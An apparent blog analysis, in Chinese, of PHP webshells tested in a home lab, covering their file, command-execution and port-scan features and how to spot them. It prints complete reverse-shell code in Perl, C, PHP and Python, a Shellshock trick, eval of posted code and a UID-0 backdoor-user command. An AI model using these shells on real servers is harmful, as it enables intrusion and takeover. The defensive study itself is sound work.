前言
https://secvery.com/2105.html 黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能
透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護
Spider PHP Shell (SPS-3.0).php
登入
文件管理
時間
透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;
# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov 4 2020 test.jpg
新增文件
使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫
直接點該文件,可以在網站上打開改文件
該文件的權限是www
# ll newfile.php
-rw-r--r--. 1 www www 26 May 4 2021 newfile.php
新建目錄
使用 mkdir(),建立目錄。當前目錄必須是www 可寫
# ll | grep newdir
drwxr-xr-x. 2 www www 6 Nov 4 19:20 newdir
複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳
略
執行命令
使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
function Exec_Run($cmd)
{
$res = '';
if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
return $res;
}
掃描端口
使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);
搜索文件
搜索包含文字
使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容
Linux提權
攻擊機
因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
提權
提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1
當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root
/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov 5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov 5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root
靶機
可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www 9551 0.0 0.0 11692 1356 ? S 16:10 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www 9556 0.0 0.0 11692 1360 ? S 16:10 0:00 /bin/sh
有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58198 192.168.1.8:12388 ESTABLISHED 9550/lynx
9550 是什麼進程?
# ps aux | grep "9550"
www 9550 0.0 0.0 31144 3340 ? S 16:10 0:00 lynx
原理
File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &
如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root 28776 0.0 0.0 113288 1396 pts/10 S 15:06 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root 28781 0.0 0.0 113284 1196 pts/10 S 15:06 0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root
C語言執行
將以下C代碼寫入 /tmp/angel_bc.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}
然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &
C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以
MySQL執行
https://stackoverflow.com/a/54643842 Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost
MySQL管理
如下圖所見
zjjv
zjjv。 com
代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間
登入
文件管理
功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www)
執行PHP腳本
使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));
執行SQL、MYSQL操作、端口掃描
功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。
執行命令
比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
function Exec_Run($cmd) {
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, 'r'))) {
$res = '';
while (!@feof($f)) {
$res .= @fread($f, 1024);
}
@pclose($f);
} elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
$w = new COM('WScript.shell');
$e = $w->exec($cmd);
$f = $e->StdOut();
$res = $f->ReadAll();
} elseif (function_exists('proc_open')) {
$length = strcspn($cmd, " \t");
$token = substr($cmd, 0, $length);
if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
$p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!feof($io[1])) {
$res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
}
while (!feof($io[2])) {
$res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);
} elseif (function_exists('mail')) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".", "data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1", "", "", "", "-bv");
} else $res = "Not vuln (not bash)";
$output = @implode('', @file($tmp));
@unlink($tmp);
if ($output != "") $res = $output; else $res = JmCode("=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG");
}
return $res;
}
反彈提權
和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式
php
用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
if (!extension_loaded('sockets')) {
if ($system == 'WIN') {
@dl('php_sockets.dll') or die("Can't load socket");
} else {
@dl('sockets.so') or die("Can't load socket");
}
}
if ($system == "WIN") {
$env = array('path' => "c:\\windows\\system32");
} else {
$env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$host = $_POST['yourip'];
$port = $_POST['yourport'];
$host = gethostbyname($host);
$proto = getprotobyname("tcp");
if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
die("Socket创建失败");
}
if (($ret = socket_connect($sock, $host, $port)) < 0) {
die("连接失败");
} else {
$message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n";
socket_write($sock, $message, strlen($message));
$cwd = str_replace('\\', '/', dirname(__FILE__));
while ($cmd = socket_read($sock, 65535, $proto)) {
if (trim(strtolower($cmd)) == "exit") {
socket_write($sock, "Bye\n");
exit;
} else {
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock, $msg, strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock, $msg, strlen($msg));
$return_value = proc_close($process);
}
}
}
}
nc
一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
echo '<div class="actall">';
$mip = $_POST['yourip'];
$bport = $_POST['yourport'];
$fp = fsockopen($mip, $bport, $errno, $errstr);
if (!$fp) {
$result = "Error: could not open socket connection";
} else {
fputs($fp, "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n");
while (!feof($fp)) {
fputs($fp, " [root@xxx.com:/root]# ");
$result = fgets($fp, 4096);
$message = `$result`;
fputs($fp, "--> " . $message . "\n");
}
fclose($fp);
}
echo '</div>';
執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連
# ps aux | grep "\bsh\b"
(無)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58952 192.168.1.8:12388 ESTABLISHED 9623/php-fpm: pool
# ps aux | grep 9623
www 9623 0.0 0.1 248544 8928 ? S 18:06 0:00 php-fpm: pool www
其他大馬
https://www.dismall.com/thread-1726-1-1.html 震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔
文件管理
基本上功能都大同小異
特殊目錄:Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/
反彈SHELL
Python
這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
#!/usr/bin/python
#
import sys,os,socket,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
os.dup2(s.fileno(), sys.stderr.fileno())
pty.spawn('/bin/sh')
然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388
執行命令
這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef


























